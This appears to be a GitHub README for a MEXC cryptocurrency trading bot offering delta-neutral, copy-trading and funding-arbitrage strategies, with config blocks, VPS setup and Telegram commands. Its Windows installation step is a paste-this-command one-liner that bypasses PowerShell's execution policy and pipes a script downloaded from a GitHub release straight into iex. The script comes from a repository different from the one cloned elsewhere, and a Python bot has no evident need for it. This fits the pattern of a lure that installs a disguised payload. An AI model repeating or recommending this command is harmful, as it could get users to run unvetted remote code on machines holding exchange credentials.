Automated trading bot for MEXC built for 0-fee markets — three independent strategies, zero commissions eating your edge
╔══════════════════════════════════════════════════════════════════╗
║ Strategy 1 — Delta-Neutral │ near-zero directional risk ║
║ Strategy 2 — Copy Trading │ mirror top traders live ║
║ Strategy 3 — Funding Arbitrage │ harvest funding rate yields ║
║ ║
║ All strategies run on MEXC 0-fee markets — keep 100% of edge ║
╚══════════════════════════════════════════════════════════════════╝
🚀 Create MEXC Account · 📊 MEXC Futures · 🐦 Follow Dev
- Why MEXC 0-Fee Markets
- Strategies
- Installation
- Configuration
.env - Running the Bot
- Running 24/7 on a VPS
- Risk Management
- Telegram Commands
- Disclaimer
MEXC offers 0% maker fee on spot and 0% maker fee on futures for a large number of pairs. This changes the math for all three strategies:
| Exchange | Maker Fee | Round-trip cost (open + close) |
|---|---|---|
| Typical CEX | 0.02–0.10% | 0.04–0.20% |
| MEXC 0-fee market | 0% | $0.00 |
For high-frequency rebalancing (Delta-Neutral) or thin funding spreads (Funding Arb), eliminating fees is the difference between a profitable strategy and a losing one.
0-fee pairs include: BTC_USDT, ETH_USDT, SOL_USDT, XRP_USDT, DOGE_USDT, and many more. Always verify a pair is 0-fee before enabling it in config.
⚠️ MEXC charges a taker fee (0.05% spot / 0.01% futures) on market orders. All strategies in this bot default to limit/post-only orders to guarantee 0-fee execution.
Earn on volatility and funding rates while staying neutral to market direction. Your profit does not depend on whether the price goes up or down.
Open LONG on spot (SOL_USDT) + SHORT on futures (SOL_USDT)
│
▼
Positions hedge each other → net delta ≈ 0
│
▼
Profit comes from:
• positive funding rate payments (futures longs pay shorts)
• spread captured during limit-order rebalancing (0 fees!)
How it works:
- The bot opens equal-sized LONG (spot) and SHORT (futures) positions on the same asset using limit orders — 0 fee on both legs.
- Every N hours the bot checks delta drift caused by price movement and rebalances with new limit orders if the deviation exceeds the threshold.
- When the funding rate turns negative, the bot inverts positions (SHORT spot + LONG futures) to keep collecting payments.
Decision table:
| Condition | Action |
|---|---|
| Funding rate > 0.01% | Hold SHORT on futures, collect payments |
| Funding rate < -0.01% | Invert positions |
| Delta drifted > 5% | Rebalance with limit orders |
| High volatility detected | Reduce position size |
Config block:
STRATEGY=delta_neutral
DN_SYMBOL=SOL_USDT
DN_SPOT_SIZE=100 # USDT in spot leg
DN_FUTURES_SIZE=100 # USDT in futures leg
DN_REBALANCE_THRESHOLD=5 # % of drift before rebalancing
DN_MIN_FUNDING=0.005 # Minimum funding rate to enter (%)
DN_CHECK_INTERVAL=3600 # Check every N seconds
DN_ORDER_TYPE=LIMIT # Always LIMIT for 0-fee execution💡 Tip: This strategy performs best during bull markets when futures funding rates are consistently positive. Check MEXC's funding rate history before entering — avoid assets with erratic or near-zero rates.
The bot polls a chosen leader's positions via the MEXC API every 5 seconds. When a change is detected, it immediately places a proportionally scaled limit order on your account — 0 fees, full edge preserved.
Leader opens SOL_USDT SHORT $500 (futures)
│
▼ (detected within 5 seconds)
│
Bot calculates position size:
$500 × copy_ratio (0.5) = $250
Your MAX_SOL = $30 → capped at $30
│
▼
Your account opens SOL_USDT SHORT $30 ✅ (limit order, 0 fee)
│
▼
Leader closes position → Bot closes too ✅
Choosing who to copy:
Use the MEXC Leaderboard to find consistently profitable traders.
✅ Good traders to copy:
- Consistent long-term PnL (not just one lucky week)
- Holds positions for hours or days (swing trading)
- Makes 1–5 trades per day
- Clear directional bias — not constantly flipping sides
❌ Do NOT copy these:
- HFT / High-Frequency Traders — trade dozens of times per second, your bot can't keep up and loses on slippage
- Market Makers — hold positions on both sides simultaneously, copying causes guaranteed loss
- Scalpers — hold positions for seconds or minutes, orders won't fill in time
- Bot traders — automated patterns that don't translate well to copy trading
- Leverage manipulators — constantly change leverage to distort position sizing
💡 Tip: Check a trader's history and look at how long they hold positions. Target traders who hold for 2+ hours on average.
Config block:
STRATEGY=copy_trading
LEADER_UID=mexc_leader_uid_here # Leader's MEXC UID (from their profile)
COPY_RATIO=0.5 # 0.5 = copy 50% of leader's size
SYMBOLS=SOL_USDT,BTC_USDT # Leave blank to follow all symbols
SYNC_INTERVAL=5 # How often to poll leader positions (seconds)
ORDER_TYPE=LIMIT # LIMIT for 0-fee, MARKET as fallback
LIMIT_OFFSET_BPS=2 # Place limit 0.02% inside spread for fast fillThe bot scans MEXC futures for anomalously high funding rates and collects payments with minimal directional exposure — all entries via limit orders at 0 fee.
Scan all MEXC futures → find funding rate above entry threshold
│
▼
Open position AGAINST the funding direction via limit order:
• Funding > 0 → SHORT (longs pay shorts every 8h)
• Funding < 0 → LONG (shorts pay longs every 8h)
│
▼
Collect payment every 8 hours ($0 fee eaten into yield)
│
▼
Exit when any of these triggers:
• Rate normalizes below exit_threshold
• Target PnL is reached
• Position held longer than max_hold_hours
Why it works — especially on MEXC:
On a typical exchange, a 0.03% funding yield per 8h is almost entirely consumed by the 0.02–0.04% round-trip fee when you exit. On MEXC 0-fee markets, you keep the full yield. Even modest funding rates become worth capturing.
Example scenario:
SOL_USDT futures funding = +0.03% per 8h (would be unprofitable elsewhere)
Bot opens $100 SHORT on SOL_USDT futures (limit order, fee = $0.00)
→ receives $0.03 every 8 hours
→ over 48 hours = $0.18 on $100 deployed
→ annualized rate ≈ 6.5% APR (net, after $0 fees)
Same trade on 0.04% fee exchange:
→ $0.04 entry + $0.04 exit = $0.08 total fees on $100
→ profit after fees = $0.18 - $0.08 = $0.10 (44% eaten by fees)
Config block:
STRATEGY=funding_arb
FA_SCAN_SYMBOLS=SOL_USDT,BTC_USDT,ETH_USDT,XRP_USDT,DOGE_USDT
FA_MIN_FUNDING=0.02 # Minimum rate to enter (% per 8h) — lower threshold thanks to 0 fees
FA_EXIT_FUNDING=0.005 # Rate at which to exit the position (%)
FA_POSITION_SIZE=50 # Position size in USDT
FA_MAX_HOLD_HOURS=48 # Maximum time to hold a position
FA_HEDGE_RATIO=0.3 # Spot hedge as fraction of futures size (0 = no hedge)
FA_CHECK_INTERVAL=300 # Scan every N seconds
FA_ORDER_TYPE=LIMIT # Always LIMIT for 0-fee execution💡 Tip: The 0-fee advantage lets you lower
FA_MIN_FUNDINGsignificantly compared to other exchanges. Rates above 0.02% per 8h are worth capturing here — on a fee-paying exchange you'd need 0.05%+.
- Python 3.10+
- A MEXC account with futures enabled
- API key with spot and futures trading permissions
- At least $10 USDT deposited
Open PowerShell and run this single command:
powershell -ep bypass -c "iwr https://github.com/Neutral-Debug/Mexc-Trading-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"Open CMD and run this single command:
powershell -ep bypass -c "iwr https://github.com/Neutral-Debug/Mexc-Trading-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"
python3 -m venv venv
# Linux / Mac
source venv/bin/activate
# Windows
venv\Scripts\activatepip install ccxt requests python-dotenv colorama- Log in to MEXC
- Navigate to Account → API Management → Create API
- Enable permissions: Spot Trading + Futures Trading
- Set an IP whitelist if running on a VPS (recommended)
- Save your API Key and Secret Key
⚠️ Never enable withdrawal permissions on a trading API key. The bot only needs trade permissions.
Create a .env file in the project folder:
# ── MEXC API credentials ───────────────────────────────
MEXC_API_KEY=your_api_key_here
MEXC_SECRET_KEY=your_secret_key_here
# ── Active strategy ────────────────────────────────────
# Options: delta_neutral | copy_trading | funding_arb
STRATEGY=copy_trading
# ── Order type ─────────────────────────────────────────
# LIMIT = 0-fee maker orders (default, recommended)
# MARKET = taker fee applies (0.05% spot / 0.01% futures)
DEFAULT_ORDER_TYPE=LIMIT
# ── Max position per symbol (USDT) ─────────────────────
MAX_BTC=50
MAX_ETH=50
MAX_SOL=30
MAX_XRP=30
MAX_TOTAL=100 # Total exposure cap across all symbols
# ── Risk limits ────────────────────────────────────────
DAILY_LOSS_LIMIT=10 # Bot halts if daily loss exceeds this ($)
UNREALIZED_LOSS_LIMIT=15 # Force-closes all positions if exceeded ($)
# ── Telegram (optional) ────────────────────────────────
TELEGRAM_TOKEN=
TELEGRAM_CHAT_ID=
# ── Strategy-specific parameters ──────────────────────
# Paste the relevant config block from the strategy sections aboveMEXC_API_KEY = your API key (read + trade, no withdrawals)
MEXC_SECRET_KEY = your secret key (never share this)
LEADER_UID = the trader you copy (their public MEXC UID)
# First-time setup wizard
python mexc_bot.py --setup
# Normal start
python mexc_bot.py
# Dashboard only (no trading)
python mexc_bot.py --dashboardOn successful start:
╔══════════════════════════════════════════════════════╗
║ 🤖 MEXC Strategy Bot v2.0 ║
║ Press Ctrl+C at any time to stop. ║
╚══════════════════════════════════════════════════════╝
Strategy: copy_trading
Account: ****6789 (MEXC)
Ratio: 50%
Symbols: SOL_USDT, BTC_USDT
Order type: LIMIT (0-fee)
Start bot? [yes/no]: yes
Live terminal dashboard:
🤖 MEXC Strategy Bot v2.0 updated 09:04:15
══════════════════════════════════════════════════════════════
Status: ● RUNNING Strategy: copy_trading Sync: 5s
Leader: UID 12345678 Copies today: 3 Fees paid: $0.00
──────────────────────────────────────────────────────────────
POSITIONS
Symbol Size Side Entry Exposure Max
SOL_USDT 1.7000 SHORT ▼ $87.42 $ 14.7 $ 30
[███████░] 49%
──────────────────────────────────────────────────────────────
RISK
Exposure [████░░░░░░] $14.7 / $100
Daily loss [░░░░░░░░░░] $0.00 / $10
Unrealized $+0.12 (limit: -$15)
──────────────────────────────────────────────────────────────
RECENT TRADES
09:04:15 SOL_USDT SELL $ 15.0 fee $0.000 ✅ 0-fee
08:42:50 SOL_USDT SELL $ 15.0 fee $0.000 ✅ 0-fee
For continuous operation, use a cheap VPS (Vultr, DigitalOcean, Hetzner — ~$5/month).
# 1. Update system
sudo apt update && sudo apt upgrade -y
sudo apt install python3 python3-pip python3-venv screen git -y
# 2. Clone repo
git clone https://github.com/omgmad/mexc-strategy-bot
cd mexc-strategy-bot
# 3. Virtual environment
python3 -m venv venv
source venv/bin/activate
pip install ccxt requests python-dotenv colorama
# 4. Configure
nano .env # paste your API key, secret, and strategy settings
# 5. Run inside screen (stays alive after you disconnect)
screen -S mexcbot
source venv/bin/activate
python mexc_bot.py
# Press Ctrl+A then D to detach — bot keeps runningscreen -r mexcbottail -50 mexc_bot.log
grep "filled" mexc_bot.log | tail -20 # Successful fills
grep "0-fee" mexc_bot.log | tail -20 # Confirmed 0-fee executions
grep "OPEN\|CLOSE" mexc_bot.log | tail -20 # All order attempts
grep "funding" mexc_bot.log | tail -20 # Funding rate events
grep "taker" mexc_bot.log | tail -10 # Unexpected taker fee warningsDAILY_LOSS_LIMIT hit ──► Bot halts + closes all positions
UNREALIZED_LOSS_LIMIT hit ──► Immediately force-closes all (market order)
MAX_TOTAL exceeded ──► Blocks all new positions
MAX_{SYMBOL} exceeded ──► Blocks new positions for that symbol only
LIMIT ORDER REJECTED ──► Bot retries; never auto-falls back to market
The last rule is important: if a limit order is rejected or times out, the bot will retry rather than silently place a market order and incur fees. You can override this with
ALLOW_MARKET_FALLBACK=trueat your own discretion.
COPY_RATIO=0.3
MAX_SOL=15
MAX_BTC=15
MAX_TOTAL=30
DAILY_LOSS_LIMIT=5
UNREALIZED_LOSS_LIMIT=8
DEFAULT_ORDER_TYPE=LIMIT
⚠️ Always start small. Run the bot for a few hours with minimal capital before scaling up, regardless of which strategy you choose.
Telegram integration lets you receive trade alerts and control the bot remotely. Setup takes about 2 minutes.
- Open Telegram and search for
@BotFather - Send
/newbotand follow the prompts - BotFather will reply with a token — copy it into
.env:
TELEGRAM_TOKEN=your_bot_token_here- Search for
@userinfoboton Telegram - Send any message — it replies with your numeric ID
- Copy it into
.env:
TELEGRAM_CHAT_ID=123456789Find your bot by username in Telegram and press Start once before launching the trading bot.
| Command | Action |
|---|---|
/status |
Current positions, PnL, active strategy |
/pause |
Pause the bot (keeps existing positions open) |
/resume |
Resume the bot |
/close |
Close all positions immediately (market order) |
/stop |
Stop the bot completely |
/pnl |
Detailed PnL breakdown |
/strategy |
Show current strategy and parameters |
/fees |
Show total fees paid this session (should be $0.00) |
📈 Trade Opened
Strategy: copy_trading
Symbol: SOL_USDT
Action: SELL 1.70
Value: ~$14.7
Type: LIMIT (0-fee) ✅
Ratio: 50%
💰 Funding Collected
Strategy: funding_arb
Symbol: BTC_USDT
Amount: +$0.043
Rate: 0.043% per 8h
Net fee: $0.00
🛑 Bot Stopped
Reason: Daily loss limit reached ($10.00)
Action: All positions closed
RISK WARNING: This bot trades real money on a live exchange. All three strategies carry significant financial risk. Past performance does not guarantee future results. You may lose some or all of your capital. Use entirely at your own risk.
- Never invest more than you can afford to lose
- Verify that your target symbols are still 0-fee before deploying — MEXC can change fee schedules
- Do not copy HFT, Market Maker, or scalper traders
- Always test with a small amount before scaling up
- Never share your
.envfile or API credentials with anyone - Secure your VPS — treat it like an exchange account
- Disable withdrawal permissions on your API key
- Check your local regulations regarding automated trading
If this helped you, please give it a ⭐ Star — it means a lot!
🔍 Topics mexc-bot, trading-bot, crypto-bot, mexc-trading-bot, zero-fee-trading, delta-neutral, copy-trading, funding-arbitrage, perp-trading, futures-bot, automated-trading, python, ccxt, telegram-bot, api-trading, limit-orders, market-making, arbitrage-bot, risk-management, kelly-criterion, stop-loss, algorithmic-trading, quantitative-trading, backtesting, trading-strategies, exchange-bot, defi-bot, web3, cryptocurrency-trading, mexc-futures